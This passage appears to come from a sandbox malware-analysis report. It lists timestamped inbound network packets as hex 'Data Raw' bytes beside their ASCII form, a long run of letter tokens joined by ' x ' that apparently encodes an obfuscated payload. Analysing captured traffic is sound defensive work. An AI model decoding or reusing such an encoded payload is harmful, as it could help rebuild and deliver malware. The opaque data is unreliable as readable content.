6b 20 78 20 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 Data Ascii: oO x KE x OxY x OOx x kx x OxE x RY x RY x kY x tE x KQ x tx x OOR x tx x Rt x tR x RR x OOO x OOk x tQ x Kt x KQ x RY x kO x YK x OoO x OxQ x tR x RR x OxQ x Qt x Rk x OOo x Qk x kK x Kt x Kt x OOk x YR x RY x OxR x kQ x Yx x Kk x Kt x Kt x YY x Kt x kY
2021-11-09 21:21:49 UTC	671	IN	Data Raw: 20 78 20 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f Data Ascii: x Qk x OxE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE x RY x KE x tx x OOO x RY x RY x RY x RY x tR x YR x tE x RY x OxE x RY x RY x kR x Yo x Yx x tx x Yo x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OOO x OxQ x Oxx x Yo x kx x YO x Kt x Kt x KE x OxR x O
2021-11-09 21:21:49 UTC	687	IN	Data Raw: 4f 20 78 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 Data Ascii: O x tx x tO x OOO x RY x kY x tt x QQ x tO x Kk x tt x OOo x RY x RY x tQ x OxR x kt x OxY x RY x RY x RY x OxE x YR x kO x tt x OxY x YR x Qk x Rk x kY x tR x OxQ x tt x YR x Oxt x RY x RY x Oox x OOQ x Rk x kO x OoO x Oxt x RY x RY x YK x tk x tt x OOk
2021-11-09 21:21:49 UTC	703	IN	Data Raw: 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 Data Ascii: x RQ x kO x RY x RY x Rk x Kt x Oxx x kO x OxR x Kt x tx x Qx x OxR x RR x kO x RY x Rk x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x tY x tE x tk x Oxk x Yo x RY x Rt x tx x OOQ x tE x Oxk x tk x Yx x tE x OOR x tk x Rk x tE x Oxk x tk x YE x tE x OOR
2021-11-09 21:21:49 UTC	719	IN	Data Raw: 20 6b 6b 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4b 20 78 20 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 74 78 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 4b 51 Data Ascii: kk x Kk x Kt x Oxo x Kt x Kt x YK x tK x kR x Yx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x YK x tx x tE x kx x RY x RY x Rt x tk x OxK x Oxo x kK x Yt x Kt x Kt x Yt x kO x Qt x RY x Rk x tt x kO x RY x Rt x tk x OxK x Oxo x kK x KQ
2021-11-09 21:21:49 UTC	735	IN	Data Raw: 51 20 78 20 4f 78 52 20 78 20 52 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 6f 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 51 20 78 20 52 6b 20 78 20 6b 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 4b 45 20 78 20 74 45 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 78 20 78 20 4b 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 45 20 78 20 59 4b 20 78 20 6b 6b 20 78 20 4f 78 74 20 78 20 59 74 20 78 20 4b 74 20 78 Data Ascii: Q x OxR x RQ x kO x RY x Rk x Kt x Oxx x Oxo x OxR x OOO x kE x Oxk x OOO x RY x RY x tE x kx x RQ x Rk x kx x Yt x KQ x KE x tE x OOk x kQ x Yt x Yt x OOY x Qk x Yx x Kk x kx x Kt x tx x ko x kK x RY x kO x RY x RR x OxQ x OxE x YK x kk x Oxt x Yt x Kt x
2021-11-09 21:21:49 UTC	751	IN	Data Raw: 20 6b 78 20 78 20 4b 74 20 78 20 6b 74 20 78 20 74 51 20 78 20 4b 74 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 59 52 20 78 20 74 6f 20 78 20 6b 4f 20 78 20 52 51 20 78 20 74 51 20 78 20 4b 74 20 78 20 74 6b 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 6b 78 20 78 20 4b 74 20 78 20 74 78 20 78 20 6b 6f 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 78 20 78 20 6b 59 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 52 20 78 20 59 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 74 45 20 78 20 6b 59 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 6b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 4b 20 78 20 4f 78 59 20 78 20 4b 74 20 78 20 52 Data Ascii: kx x Kt x kt x tQ x Kt x OOt x tR x YR x to x kO x RQ x tQ x Kt x tk x KQ x tK x Oxk x kx x Kt x tx x ko x OxR x Rt x kO x RY x Rt x tR x kx x kY x Ooo x RY x kO x RY x Rt x tR x Yx x tO x OOO x tE x kY x Kt x Kt x kk x Qt x OxE x OOo x kK x OxY x Kt x R
2021-11-09 21:21:49 UTC	767	IN	Data Raw: 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 6b 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 52 74 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 78 59 20 78 20 59 4f 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4f 78 74 20 78 20 4f 78 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 6b 4f 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 6b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 6b 20 78 20 4f 4f 4f 20 78 20 52 6b 20 78 20 59 59 20 78 20 51 51 20 78 20 52 59 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 4b 6b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 74 6f 20 78 20 6b 52 20 78 20 74 78 20 78 20 74 51 20 78 20 6b 52 Data Ascii: x Oxk x Oxx x Kk x tQ x OxR x Rt x Kt x Oxo x Kt x Kt x OxY x YO x kY x tt x Qx x OxR x Oxt x OxO x Rk x Yo x kO x OOk x RY x kO x RY x RY x OxY x kk x kk x OOO x OxY x Kk x kk x OOO x Rk x YY x QQ x RY x Qx x OxR x Kk x OxE x RY x to x kR x tx x tQ x kR
2021-11-09 21:21:49 UTC	783	IN	Data Raw: 78 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 6f 6f 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 4b 20 78 20 6b 74 20 78 20 4b 74 20 78 20 4f 6f 78 20 78 20 6b 59 20 78 20 4b 6b 20 78 20 4f 4f 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6b 20 78 20 4b 51 20 78 20 59 59 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 6b 4f 20 78 20 74 4f 20 78 20 51 74 20 78 20 52 6b 20 78 20 51 78 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 4f 78 52 20 78 20 59 4b 20 78 20 74 6b 20 78 20 6b 6f 20 78 20 51 51 20 78 20 74 4b 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 74 78 20 78 20 52 6b 20 78 20 Data Ascii: xo x Kt x Oxx x kO x Ooo x Kt x Oxx x kO x OxK x kt x Kt x Oox x kY x Kk x OOQ x kY x RY x RY x kk x KQ x YY x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x kO x tO x Qt x Rk x Qx x QQ x RY x RY x Qt x OxR x YK x tk x ko x QQ x tK x OOE x RY x tx x Rk x
2021-11-09 21:21:49 UTC	799	IN	Data Raw: 59 20 78 20 52 59 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 45 20 78 20 74 78 20 78 20 74 78 20 78 20 4f 4f 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 59 45 20 78 20 52 6b 20 78 20 52 52 20 78 20 59 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 74 52 20 78 20 4f 6f 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 4f 4f 4f 20 78 20 74 6f 20 78 20 6b 59 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 59 59 20 78 20 52 74 20 78 20 6b 78 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 51 20 78 20 74 4b 20 78 20 6b 6f 20 78 20 4b 6b 20 78 20 52 74 20 78 20 74 4b 20 78 20 6b 6b 20 78 20 4f 78 6f 20 78 20 4f 6f Data Ascii: Y x RY x tt x YR x Oxk x OOE x tx x tx x OOE x tR x Oox x OOk x Oxo x OxY x Rk x YE x Rk x RR x Yt x Yt x Oxt x tR x OoO x tx x to x OOO x to x kY x Oxt x RY x RY x tx x OxQ x YY x Rt x kx x RR x RY x RY x tx x OxQ x tK x ko x Kk x Rt x tK x kk x Oxo x Oo
2021-11-09 21:21:49 UTC	815	IN	Data Raw: 20 52 74 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 51 51 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 6b 20 78 20 4f 6f 4f 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 6b 4b 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4b 45 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 74 59 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 59 20 78 20 4f 78 59 20 78 20 74 52 20 78 20 4f 6f 78 20 78 20 4f 4f 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 59 78 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 51 74 20 78 20 4f 78 Data Ascii: Rt x tR x Oox x OOt x OxK x QQ x Yx x kx x Kt x Kt x Qt x Oxk x OoO x tR x Oox x OOt x OxK x kK x Yx x kx x Kt x Kt x Qt x OxY x KE x tR x Oox x OOt x OxK x tY x Yx x kx x Kt x Kt x Qt x OxY x OxY x tR x Oox x OOt x OxK x RR x Yx x kx x Kt x Kt x Qt x Ox
2021-11-09 21:21:49 UTC	831	IN	Data Raw: 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 6b 4f 20 78 20 74 52 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 6b 20 78 20 6b 59 20 78 20 74 4f 20 78 20 51 74 20 78 20 74 4b 20 78 20 4f 4f 6b 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 59 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 4f 20 78 20 51 51 20 78 20 4f 6f 6f 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 51 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 Data Ascii: k x kY x tO x Qt x tK x OOk x kO x Rk x Yo x Kt x Kt x Kt x OOO x OxY x Rk x kQ x RY x RY x tx x Qt x tk x OxK x kO x tR x YK x Kt x Kt x Yt x kk x kY x tO x Qt x tK x OOk x kO x Rk x YK x Kt x Kt x Kt x OOO x QQ x Ooo x kQ x RY x RY x tx x Qt x tk x OxK
2021-11-09 21:21:49 UTC	847	IN	Data Raw: 74 52 20 78 20 4f 6f 6f 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 6b 6f 20 78 20 4f 78 78 20 78 20 6b 45 20 78 20 74 51 20 78 20 74 78 20 78 20 4f 6f 78 20 78 20 59 4f 20 78 20 6b 59 20 78 20 4f 78 6f 20 78 20 4f 78 59 20 78 20 4b 6b 20 78 20 6b 51 20 78 20 4b 6b 20 78 20 4f 78 59 20 78 20 6b 59 20 78 20 6b 6b 20 78 20 59 52 20 78 20 4f 78 59 20 78 20 4f 4f 51 20 78 20 51 74 20 78 20 74 52 20 78 20 4f 6f 6f 20 78 20 4f 4f 6b 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 4f 4f 20 78 20 4f 78 4b 20 78 20 74 51 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 74 20 78 20 74 52 20 78 20 6b 6f 20 78 20 4f 78 6f 20 78 20 4f 6f Data Ascii: tR x Ooo x Ooo x OOk x ko x Oxx x kE x tQ x tx x Oox x YO x kY x Oxo x OxY x Kk x kQ x Kk x OxY x kY x kk x YR x OxY x OOQ x Qt x tR x Ooo x OOk x Yt x kO x Qt x tO x OOO x RY x OxY x Yt x OxR x OOO x OxK x tQ x to x Kt x Kt x KQ x Rt x tR x ko x Oxo x Oo
2021-11-09 21:21:49 UTC	863	IN	Data Raw: 20 78 20 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 74 20 78 20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 Data Ascii: x RR x OxO x OOQ x Yx x OOo x kO x Kt x Ooo x Qx x OOO x OoO x kx x kR x RY x RY x tQ x OxK x YE x tK x RY x RY x RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx x OxE x ko x OOO x KE x kx x tK x RY x RY x tQ x OxK x OOx x tK x RY x RY x RY x OxE x YR
2021-11-09 21:21:49 UTC	879	IN	Data Raw: 6f 20 78 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 78 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 6b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 20 52 51 20 78 20 52 51 20 78 20 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 78 20 6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 Data Ascii: o x Yx x kY x RY x RY x kY x tt x QQ x tx x Yo x tt x OxK x RR x RY x RY x RQ x RY x RY x RY x Rk x Kt x tx x Oxx x kK x RY x kO x RY x Rt x OxR x YE x tt x OxK x RR x RY x tY x to x Oxt x OoO x RQ x RQ x RY x tQ x YR x tk x Kk x RQ x kQ x KQ x tk x Yt x
2021-11-09 21:21:49 UTC	895	IN	Data Raw: 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20 78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 74 20 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20 6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 Data Ascii: RY x RY x RY x tE x Yx x tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk x Kt x Kt x YK x tt x RQ x ko x RY x RY x RR x kt x OxR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY x Qk x Kk x RY x Kt x kx x Kt x Kt
2021-11-09 21:21:49 UTC	911	IN	Data Raw: 4f 45 20 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 6f 78 20 78 20 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74 59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 20 78 20 4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 Data Ascii: OE x kk x tx x Oxo x OOO x OxQ x RY x OxE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to x Yo x OOk x to x YK x Oox x Yx x Rk x OOQ x ko x Rk x OOO x OOQ x tY x to x Kt x Kt x KE x OOY x kK x Qt x OxE x OOo x kt x Kt x YY x RQ x QQ x RR x RY x RY x RY
2021-11-09 21:21:49 UTC	927	IN	Data Raw: 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 Data Ascii: YR x Oxk x OOx x tt x tK x RY x RY x kx x YR x Oxk x OxQ x tt x tK x RY x RY x kx x YR x Oxk x Oxk x tt x tK x RY x RY x kx x YR x Oxk x Oxt x tt x tK x RY x RY x kx x YR x Oxk x OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x tt x tK x RY x RY x kx x YR
2021-11-09 21:21:49 UTC	943	IN	Data Raw: 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51 20 78 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 Data Ascii: RY x tO x kO x RY x kY x OxE x RR x KQ x RY x tO x Yo x RY x RY x RY x RR x kk x RY x RQ x Oxt x RY x kK x OxE x RY x Yo x RY x tx x tE x RY x kR x RY x RR x tk x RY x RY x RY x RY x kR x OOQ x RR x tK x RY x RQ x Yo x RY x tk x OOQ x RR x kE x RY x tx x
2021-11-09 21:21:49 UTC	959	IN	Data Raw: 20 52 52 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 Data Ascii: RR x OOY x RY x tO x OOQ x RY x RY x RY x RY x RY x RY x tx x OOQ x RY x RY x RY x RR x tx x RY x to x tE x RY x QQ x OxE x RR x OOk x RY x to x tE x RY x tE x RY x RY x Oxk x RY x tO x kO x RY x tQ x OxE x RY x OxE x RY x Rt x kY x RY x QQ x OOQ x RY x
